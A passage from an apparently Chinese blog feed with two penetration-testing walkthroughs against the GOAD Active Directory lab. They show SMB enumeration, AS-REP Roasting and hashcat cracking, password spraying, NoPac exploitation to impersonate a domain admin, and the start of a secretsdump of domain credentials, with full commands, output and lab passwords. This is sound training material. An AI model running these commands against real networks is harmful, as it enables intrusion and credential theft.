class="line">|_    stannis.baratheon@sevenkingdoms.local</span><br><span class="line">MAC Address: 00:0C:29:CC:C8:38 (VMware)</span><br><span class="line"></span><br><span class="line">Nmap done: 1 IP address (1 host up) scanned in 0.29 seconds</span><br></pre></td></tr></table></figure><h3 id="寻找未授权的SMB"><a href="#寻找未授权的SMB" class="headerlink" title="寻找未授权的SMB"></a>寻找未授权的SMB</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">┌──(kali㉿kali)-[~]</span><br><span class="line">└─$ nxc smb 192.168.56.0/24 -u &#x27;a&#x27; -p &#x27;&#x27; --shares</span><br><span class="line">SMB         192.168.56.10   445    KINGSLANDING     [*] Windows 10 / Server 2019 Build 17763 x64 (name:KINGSLANDING) (domain:sevenkingdoms.local) (signing:True) (SMBv1:False)</span><br><span class="line">SMB         192.168.56.11   445    WINTERFELL       [*] Windows 10 / Server 2019 Build 17763 x64 (name:WINTERFELL) (domain:north.sevenkingdoms.local) (signing:True) (SMBv1:False)</span><br><span class="line">SMB         192.168.56.12   445    MEEREEN          [*] Windows 10 / Server 2016 Build 14393 x64 (name:MEEREEN) (domain:essos.local) (signing:True) (SMBv1:True)</span><br><span class="line">SMB         192.168.56.22   445    CASTELBLACK      [*] Windows 10 / Server 2019 Build 17763 x64 (name:CASTELBLACK) (domain:north.sevenkingdoms.local) (signing:False) (SMBv1:False)</span><br><span class="line">SMB         192.168.56.10   445    KINGSLANDING     [-] sevenkingdoms.local\a: STATUS_LOGON_FAILURE</span><br><span class="line">SMB         192.168.56.11   445    WINTERFELL       [-] north.sevenkingdoms.local\a: STATUS_LOGON_FAILURE</span><br><span class="line">SMB         192.168.56.23   445    BRAAVOS          [*] Windows 10 / Server 2016 Build 14393 x64 (name:BRAAVOS) (domain:essos.local) (signing:False) (SMBv1:True)</span><br><span class="line">SMB         192.168.56.12   445    MEEREEN          [-] essos.local\a: STATUS_LOGON_FAILURE</span><br><span class="line">SMB         192.168.56.22   445    CASTELBLACK      [-] north.sevenkingdoms.local\a: STATUS_LOGON_FAILURE</span><br><span class="line">SMB         192.168.56.23   445    BRAAVOS          [+] essos.local\a: (Guest)</span><br><span class="line">SMB         192.168.56.23   445    BRAAVOS          [*] Enumerated shares</span><br><span class="line">SMB         192.168.56.23   445    BRAAVOS          Share           Permissions     Remark</span><br><span class="line">SMB         192.168.56.23   445    BRAAVOS          -----           -----------     ------</span><br><span class="line">SMB         192.168.56.23   445    BRAAVOS          ADMIN$                          Remote Admin</span><br><span class="line">SMB         192.168.56.23   445    BRAAVOS          all             READ,WRITE      Basic RW share for all</span><br><span class="line">SMB         192.168.56.23   445    BRAAVOS          C$                              Default share</span><br><span class="line">SMB         192.168.56.23   445    BRAAVOS          CertEnroll                      Active Directory Certificate Services share</span><br><span class="line">SMB         192.168.56.23   445    BRAAVOS          IPC$            READ            Remote IPC</span><br><span class="line">SMB         192.168.56.23   445    BRAAVOS          public                          Basic Read share for all domain users</span><br><span class="line">Running nxc against 256 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00</span><br></pre></td></tr></table></figure><p>可以看到 <code>all</code> 这个共享对 Guest 开放了读写权限，这类未授权共享在实战里很值得优先翻。</p><h2 id="有用户名但是没有密码的情况"><a href="#有用户名但是没有密码的情况" class="headerlink" title="有用户名但是没有密码的情况"></a>有用户名但是没有密码的情况</h2><h3 id="AS-REP-Roasting"><a href="#AS-REP-Roasting" class="headerlink" title="AS-REP Roasting"></a>AS-REP Roasting</h3><p>例如，我们已经通过 <code>ldapdomaindump</code> 拿到了 <code>north.sevenkingdoms.local</code> 上的一批用户名。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">sql_svc</span><br><span class="line">jeor.mormont</span><br><span class="line">samwell.tarly</span><br><span class="line">jon.snow</span><br><span class="line">hodor</span><br><span class="line">rickon.stark</span><br><span class="line">brandon.stark</span><br><span class="line">sansa.stark</span><br><span class="line">robb.stark</span><br><span class="line">catelyn.stark</span><br><span class="line">eddard.stark</span><br><span class="line">arya.stark</span><br><span class="line">krbtgt</span><br><span class="line">vagrant</span><br><span class="line">Guest</span><br><span class="line">Administrator</span><br></pre></td></tr></table></figure><p>把这些用户名保存到 <code>users.txt</code> 之后，继续枚举：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">┌──(kali㉿kali)-[~]</span><br><span class="line">└─$ impacket-GetNPUsers north.sevenkingdoms.local/ -no-pass -usersfile users.txt</span><br><span class="line">Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies</span><br><span class="line"></span><br><span class="line">[-] User sql_svc doesn&#x27;t have UF_DONT_REQUIRE_PREAUTH set</span><br><span class="line">[-] User jeor.mormont doesn&#x27;t have UF_DONT_REQUIRE_PREAUTH set</span><br><span class="line">[-] User samwell.tarly doesn&#x27;t have UF_DONT_REQUIRE_PREAUTH set</span><br><span class="line">[-] User jon.snow doesn&#x27;t have UF_DONT_REQUIRE_PREAUTH set</span><br><span class="line">[-] User hodor doesn&#x27;t have UF_DONT_REQUIRE_PREAUTH set</span><br><span class="line">[-] User rickon.stark doesn&#x27;t have UF_DONT_REQUIRE_PREAUTH set</span><br><span class="line">$krb5asrep$23$brandon.stark@NORTH.SEVENKINGDOMS.LOCAL:c0d425fe45c54c3c18e875898bca120f$45ac4cb030568708dae3e1c6c2dc5777628b03f8c2a0c33cde1affe1005f3877c51d8c71a551bc2cec9d65b66ca4ee3dfac29d86e5adf504a3e1e627624951d1783896c0171c86530661894964b1faac172a3ba01fc851b43d54bfdec323e1502a9435f97a98c71c3a5794faeb1898393f448a387bef9483880de57fb38e9a3a16ff3709f6c01f5d51389a7e867d520ae37f30b1c5968abeeab45d0046d2e55f2235a94051938f261fb0fb4e91186c7588e0bb935b4dee180f0d66ac7d3c0cee54c0f78842495c662376e32815da9ca43d5a064d6af83336925e5634bd10f7cc60d4d9d7f9b3f4367b813d83dcf4f3e86dc18fd7ce2486aeaeca61b9c5d547ccb498d6bfa114</span><br><span class="line">[-] User sansa.stark doesn&#x27;t have UF_DONT_REQUIRE_PREAUTH set</span><br><span class="line">[-] User robb.stark doesn&#x27;t have UF_DONT_REQUIRE_PREAUTH set</span><br><span class="line">[-] User catelyn.stark doesn&#x27;t have UF_DONT_REQUIRE_PREAUTH set</span><br><span class="line">[-] User eddard.stark doesn&#x27;t have UF_DONT_REQUIRE_PREAUTH set</span><br><span class="line">[-] User arya.stark doesn&#x27;t have UF_DONT_REQUIRE_PREAUTH set</span><br><span class="line">[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)</span><br><span class="line">[-] User vagrant doesn&#x27;t have UF_DONT_REQUIRE_PREAUTH set</span><br><span class="line">[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)</span><br><span class="line">[-] User Administrator doesn&#x27;t have UF_DONT_REQUIRE_PREAUTH set</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>这样就拿到了 <code>brandon.stark</code> 的 AS-REP 哈希，接着用 hashcat 离线破解。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line">┌──(kali㉿kali)-[~]</span><br><span class="line">└─$ hashcat -m 18200 asrephash.txt /usr/share/wordlists/rockyou.txt</span><br><span class="line">hashcat (v7.1.2) starting</span><br><span class="line"></span><br><span class="line">OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]</span><br><span class="line">====================================================================================================================================================</span><br><span class="line">* Device #01: cpu-haswell-13th Gen Intel(R) Core(TM) i9-13900H, 6956/13913 MB (2048 MB allocatable), 4MCU</span><br><span class="line"></span><br><span class="line">Minimum password length supported by kernel: 0</span><br><span class="line">Maximum password length supported by kernel: 256</span><br><span class="line">Minimum salt length supported by kernel: 0</span><br><span class="line">Maximum salt length supported by kernel: 256</span><br><span class="line"></span><br><span class="line">Hashes: 1 digests; 1 unique digests, 1 unique salts</span><br><span class="line">Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates</span><br><span class="line">Rules: 1</span><br><span class="line"></span><br><span class="line">Optimizers applied:</span><br><span class="line">* Zero-Byte</span><br><span class="line">* Not-Iterated</span><br><span class="line">* Single-Hash</span><br><span class="line">* Single-Salt</span><br><span class="line"></span><br><span class="line">ATTENTION! Pure (unoptimized) backend kernels selected.</span><br><span class="line">Pure kernels can crack longer passwords, but drastically reduce performance.</span><br><span class="line">If you want to switch to optimized kernels, append -O to your commandline.</span><br><span class="line">See the above message to find out about the exact limits.</span><br><span class="line"></span><br><span class="line">Watchdog: Temperature abort trigger set to 90c</span><br><span class="line"></span><br><span class="line">Host memory allocated for this attack: 513 MB (11083 MB free)</span><br><span class="line"></span><br><span class="line">Dictionary cache built:</span><br><span class="line">* Filename..: /usr/share/wordlists/rockyou.txt</span><br><span class="line">* Passwords.: 14344392</span><br><span class="line">* Bytes.....: 139921507</span><br><span class="line">* Keyspace..: 14344385</span><br><span class="line">* Runtime...: 1 sec</span><br><span class="line"></span><br><span class="line">$krb5asrep$23$brandon.stark@NORTH.SEVENKINGDOMS.LOCAL:c0d425fe45c54c3c18e875898bca120f$45ac4cb030568708dae3e1c6c2dc5777628b03f8c2a0c33cde1affe1005f3877c51d8c71a551bc2cec9d65b66ca4ee3dfac29d86e5adf504a3e1e627624951d1783896c0171c86530661894964b1faac172a3ba01fc851b43d54bfdec323e1502a9435f97a98c71c3a5794faeb1898393f448a387bef9483880de57fb38e9a3a16ff3709f6c01f5d51389a7e867d520ae37f30b1c5968abeeab45d0046d2e55f2235a94051938f261fb0fb4e91186c7588e0bb935b4dee180f0d66ac7d3c0cee54c0f78842495c662376e32815da9ca43d5a064d6af83336925e5634bd10f7cc60d4d9d7f9b3f4367b813d83dcf4f3e86dc18fd7ce2486aeaeca61b9c5d547ccb498d6bfa114:iseedeadpeople</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>这样就拿到了 <code>brandon.stark</code> 的密码：<code>iseedeadpeople</code>。</p><h3 id="密码喷洒"><a href="#密码喷洒" class="headerlink" title="密码喷洒"></a>密码喷洒</h3><p>第一种情况是用户名和密码相同（现实里相对少见）。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">┌──(kali㉿kali)-[~]</span><br><span class="line">└─$ nxc smb 192.168.56.11 -u users.txt -p users.txt --no-bruteforce</span><br><span class="line">SMB         192.168.56.11   445    WINTERFELL       [*] Windows 10 / Server 2019 Build 17763 x64 (name:WINTERFELL) (domain:north.sevenkingdoms.local) (signing:True) (SMBv1:False)</span><br><span class="line">SMB         192.168.56.11   445    WINTERFELL       [-] north.sevenkingdoms.local\sql_svc:sql_svc STATUS_LOGON_FAILURE</span><br><span class="line">SMB         192.168.56.11   445    WINTERFELL       [-] north.sevenkingdoms.local\jeor.mormont:jeor.mormont STATUS_LOGON_FAILURE</span><br><span class="line">SMB         192.168.56.11   445    WINTERFELL       [-] north.sevenkingdoms.local\samwell.tarly:samwell.tarly STATUS_LOGON_FAILURE</span><br><span class="line">SMB         192.168.56.11   445    WINTERFELL       [-] north.sevenkingdoms.local\jon.snow:jon.snow STATUS_LOGON_FAILURE</span><br><span class="line">SMB         192.168.56.11   445    WINTERFELL       [+] north.sevenkingdoms.local\hodor:hodor</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>第二种情况是弱口令复用，这时可以用 Kerbrute 做快速喷洒。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">┌──(kali㉿kali)-[~]</span><br><span class="line">└─$ kerbrute passwordspray -d north.sevenkingdoms.local --dc 192.168.56.11 users.txt hodor</span><br><span class="line"></span><br><span class="line">    __             __               __</span><br><span class="line">   / /_____  _____/ /_  _______  __/ /____</span><br><span class="line">  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \</span><br><span class="line"> / ,&lt; /  __/ /  / /_/ / /  / /_/ / /_/  __/</span><br><span class="line">/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/</span><br><span class="line"></span><br><span class="line">Version: v1.0.3 (9dad6e1) - 12/21/25 - Ronnie Flathers @ropnop</span><br><span class="line"></span><br><span class="line">2025/12/21 06:56:44 &gt;  Using KDC(s):</span><br><span class="line">2025/12/21 06:56:44 &gt;  192.168.56.11:88</span><br><span class="line"></span><br><span class="line">2025/12/21 06:56:44 &gt;  [+] VALID LOGIN: hodor@north.sevenkingdoms.local:hodor</span><br><span class="line">2025/12/21 06:56:44 &gt;  Done! Tested 16 logins (1 successes) in 0.019 seconds</span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>这次旅程里，我们总共拿到了 3 组有效凭据：</p><ul><li><code>samwell.tarly:Heartsbane</code>（用户描述泄露）</li><li><code>brandon.stark:iseedeadpeople</code>（AS-REP Roasting）</li><li><code>hodor:hodor</code>（密码喷洒）</li></ul><p>本文参考了 <a href="https://mayfly277.github.io/">Mayfly</a> 师傅的很多思路，感兴趣的话可以去看原文。</p>]]>
    </content>
    <id>https://3h1xy.com/GOAD-Journey-Part1/</id>
    <link href="https://3h1xy.com/GOAD-Journey-Part1/"/>
    <published>2025-12-21T07:45:31.000Z</published>
    <summary>这篇文章从 0 开始带你在 GOAD 环境中完成第一轮信息收集：内网扫描、识别域控、配置 hosts、匿名枚举域用户，并进一步尝试 AS-REP Roasting 和密码喷洒，拿到第一批可用凭据。</summary>
    <title>GOAD 域渗透教程 1：内网扫描、域控识别与初始域用户获取</title>
    <updated>2026-05-26T16:50:32.673Z</updated>
  </entry>
  <entry>
    <author>
      <name>3h1xy</name>
    </author>
    <category term="GOAD 归档" scheme="https://3h1xy.com/categories/GOAD-%E5%BD%92%E6%A1%A3/"/>
    <category term="GOAD" scheme="https://3h1xy.com/tags/GOAD/"/>
    <category term="Active Directory" scheme="https://3h1xy.com/tags/Active-Directory/"/>
    <category term="归档" scheme="https://3h1xy.com/tags/%E5%BD%92%E6%A1%A3/"/>
    <content>
      <![CDATA[<p>这篇是我最早记录 <a href="https://github.com/Orange-Cyberdefense/GOAD">GOAD</a> 的草稿版本，包含信息收集、匿名枚举域用户、基础域信息获取，以及 NoPAC 的早期尝试。</p><blockquote><p>这篇是早期草稿，内容相对粗糙，保留作归档。想看更完整的版本，建议直接跳到 <a href="../GOAD-Journey-Part1/">《GOAD 域渗透教程 1：内网扫描、域控识别与初始域用户获取》</a>。</p></blockquote><span id="more"></span><h2 id="信息收集"><a href="#信息收集" class="headerlink" title="信息收集"></a>信息收集</h2><h3 id="扫描"><a href="#扫描" class="headerlink" title="扫描"></a>扫描</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nxc smb 192.168.56.0/24</span><br></pre></td></tr></table></figure><p><img src="/../images/nxc_scan.png" alt="GOAD 内网 NetExec SMB 扫描结果"></p><p>有三台机器显示 <code>signing: True</code>，按经验基本可以先判成域控，再扫一下 LDAP 端口做验证。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nxc ldap 192.168.56.0/24</span><br></pre></td></tr></table></figure><p><img src="/../images/nxc_ldap_scan.png" alt="GOAD 内网 LDAP 扫描识别域控结果"></p><p>把这些机器加入 <code>HOSTS</code> 文件，后面用 Kerberos 相关服务时会方便很多。</p><h3 id="寻找域账号"><a href="#寻找域账号" class="headerlink" title="寻找域账号"></a>寻找域账号</h3><p>当域控允许匿名 SMB 连接时，就有机会直接枚举出域账号。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nxc smb 192.168.56.0/24 --<span class="built_in">users</span></span><br></pre></td></tr></table></figure><p><img src="/../images/Enumerate.png" alt="匿名枚举获得域用户列表"></p><p>这就直接给我们一个账号密码，只能说靶场就是靶场。</p><p><code>samwell.tarly:Heartsbane</code></p><h3 id="获取域信息"><a href="#获取域信息" class="headerlink" title="获取域信息"></a>获取域信息</h3><p>这样就能继续通过 LDAP 认证获取更多域信息。</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">┌──(kali㉿kali)-[~]</span><br><span class="line">└─$ ldapdomaindump -u <span class="string">&#x27;NORTH.SEVENKINGDOMS.LOCAL\samwell.tarly&#x27;</span> -p Heartsbane -o NORTH.SEVENKINGDOMS.LOCAL 192.168.56.11</span><br><span class="line">[*] Connecting to host...</span><br><span class="line">[*] Binding to host</span><br><span class="line">[+] Bind OK</span><br><span class="line">[*] Starting domain dump</span><br><span class="line">[+] Domain dump finished</span><br></pre></td></tr></table></figure><p>很遗憾，这个账号并不在 <code>Domain Admins</code> 组里。</p><h2 id="攻击-NORTH-SEVENKINGDOMS-LOCAL"><a href="#攻击-NORTH-SEVENKINGDOMS-LOCAL" class="headerlink" title="攻击 NORTH.SEVENKINGDOMS.LOCAL"></a>攻击 NORTH.SEVENKINGDOMS.LOCAL</h2><p>我们目前有两台机器在NORTH.SEVENKINGDOMS.LOCAL域内</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">SMB         192.168.56.11   445    WINTERFELL       [*] Windows 10 / Server 2019 Build 17763 x64 (name:WINTERFELL) (domain:north.sevenkingdoms.local) (signing:True) (SMBv1:False)</span><br><span class="line">SMB         192.168.56.22   445    CASTELBLACK      [*] Windows 10 / Server 2019 Build 17763 x64 (name:CASTELBLACK) (domain:north.sevenkingdoms.local) (signing:False) (SMBv1:False)</span><br></pre></td></tr></table></figure><p>根据 <code>ldapdomaindump</code> 的结果，这个域里有两名域管理员：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">eddard.stark</span><br><span class="line">Administrator</span><br></pre></td></tr></table></figure><p>同时我们已经拿到一个普通域用户的账号密码：</p><p><code>samwell.tarly:Heartsbane</code></p><p>有域账户后，就可以开始扫一些常见的提权点，比如 NoPac、PrintNightmare。</p><p>先用 NetExec 做一轮扫描。</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">┌──(kali㉿kali)-[~/Downloads/krbrelayx-master]</span><br><span class="line">└─$ nxc smb 192.168.56.11 -u samwell.tarly -p -M nopac -M spooler</span><br><span class="line">SMB         192.168.56.11   445    WINTERFELL       [*] Windows 10 / Server 2019 Build 17763 x64 (name:WINTERFELL) (domain:north.sevenkingdoms.local) (signing:True) (SMBv1:False)</span><br><span class="line">SMB         192.168.56.11   445    WINTERFELL       [+] north.sevenkingdoms.local\samwell.tarly:Heartsbane</span><br><span class="line">NOPAC       192.168.56.11   445    WINTERFELL       TGT with PAC size 1654</span><br><span class="line">NOPAC       192.168.56.11   445    WINTERFELL       TGT without PAC size 817</span><br><span class="line">NOPAC       192.168.56.11   445    WINTERFELL</span><br><span class="line">NOPAC       192.168.56.11   445    WINTERFELL       VULNERABLE</span><br><span class="line">NOPAC       192.168.56.11   445    WINTERFELL       Next step: https://github.com/Ridter/noPac</span><br><span class="line">SPOOLER     192.168.56.11   445    WINTERFELL       Spooler service enabled</span><br></pre></td></tr></table></figure><h3 id="利用-NoPac"><a href="#利用-NoPac" class="headerlink" title="利用 NoPac"></a>利用 NoPac</h3><p>这里可以直接使用 <a href="https://github.com/Ridter/noPac">Ridter&#x2F;noPac</a>。</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line">┌──(noPac)─(kali㉿kali)-[~/Downloads/noPac]</span><br><span class="line">└─$ python3 noPac.py north.sevenkingdoms.local/samwell.tarly:Heartsbane -dc-ip 192.168.56.11</span><br><span class="line"></span><br><span class="line">███    ██  ██████  ██████   █████   ██████</span><br><span class="line">████   ██ ██    ██ ██   ██ ██   ██ ██</span><br><span class="line">██ ██  ██ ██    ██ ██████  ███████ ██</span><br><span class="line">██  ██ ██ ██    ██ ██      ██   ██ ██</span><br><span class="line">██   ████  ██████  ██      ██   ██  ██████</span><br><span class="line"></span><br><span class="line">[*] Current ms-DS-MachineAccountQuota = 10</span><br><span class="line">[*] Selected Target winterfell.north.sevenkingdoms.local</span><br><span class="line">[*] Total Domain Admins 3</span><br><span class="line">[*] will try to impersonate eddard.stark</span><br><span class="line">[*] Adding Computer Account &quot;WIN-SXKFGMHCLVY$&quot;</span><br><span class="line">[*] MachineAccount &quot;WIN-SXKFGMHCLVY$&quot; password = 19EqF0n0imc2</span><br><span class="line">[*] Successfully added machine account WIN-SXKFGMHCLVY$ with password 19EqF0n0imc2.</span><br><span class="line">[*] WIN-SXKFGMHCLVY$ object = CN=WIN-SXKFGMHCLVY,CN=Computers,DC=north,DC=sevenkingdoms,DC=local</span><br><span class="line">[*] WIN-SXKFGMHCLVY$ sAMAccountName == winterfell</span><br><span class="line">[*] Saving a DC&#x27;s ticket in winterfell.ccache</span><br><span class="line">[*] Reseting the machine account to WIN-SXKFGMHCLVY$</span><br><span class="line">[*] Restored WIN-SXKFGMHCLVY$ sAMAccountName to original value</span><br><span class="line">[*] Using TGT from cache</span><br><span class="line">[*] Impersonating eddard.stark</span><br><span class="line">[*] Requesting S4U2self</span><br><span class="line">[*] Saving a user&#x27;s ticket in eddard.stark.ccache</span><br><span class="line">[*] Rename ccache to eddard.stark_winterfell.north.sevenkingdoms.local.ccache</span><br><span class="line">[*] Attempting to del a computer with the name: WIN-SXKFGMHCLVY$</span><br><span class="line">[-] Delete computer WIN-SXKFGMHCLVY$ Failed! Maybe the current user does not have permission.</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>虽然删除机器账户失败了，但问题不大，关键是票据已经申请到了。</p><h3 id="secretsdump-导出"><a href="#secretsdump-导出" class="headerlink" title="secretsdump 导出"></a>secretsdump 导出</h3><p>接下来用 <code>secretsdump</code> 直接把域凭据导出来。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br></pre></td><td class="code"><pre><span class="line">┌──(kali㉿kali)-[~/Downloads/noPac]</span><br><span class="line">└─$ ls -lian eddard.stark_winterfell.north.sevenkingdoms.local.ccache</span><br><span class="line">3689526 -rw-rw-r-- 1 1000 1000 1545 Dec 20 10:03 eddard.stark_winterfell.north.sevenkingdoms.local.ccache</span><br><span class="line"></span><br><span class="line">┌──(kali㉿kali)-[~/Downloads/noPac]</span><br><span class="line">└─$export KRB5CCNAME=eddard.stark_winterfell.north.sevenkingdoms.local.ccache</span><br><span class="line">3689526 -rw-rw-r-- 1 1000 1000 1545 Dec 20 10:03 eddard.stark_winterfell.north.sevenkingdoms.local.ccache</span><br><span class="line"></span><br><span class="line">┌──(kali㉿kali)-[~/Downloads/noPac]</span><br><span class="line">└─$ impacket-secretsdump -k -no-pass eddard.stark@winterfell.north.sevenkingdoms.local -just-dc</span><br><span class="line">Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies</span><br><span class="line"></span><br><span class="line">[*] 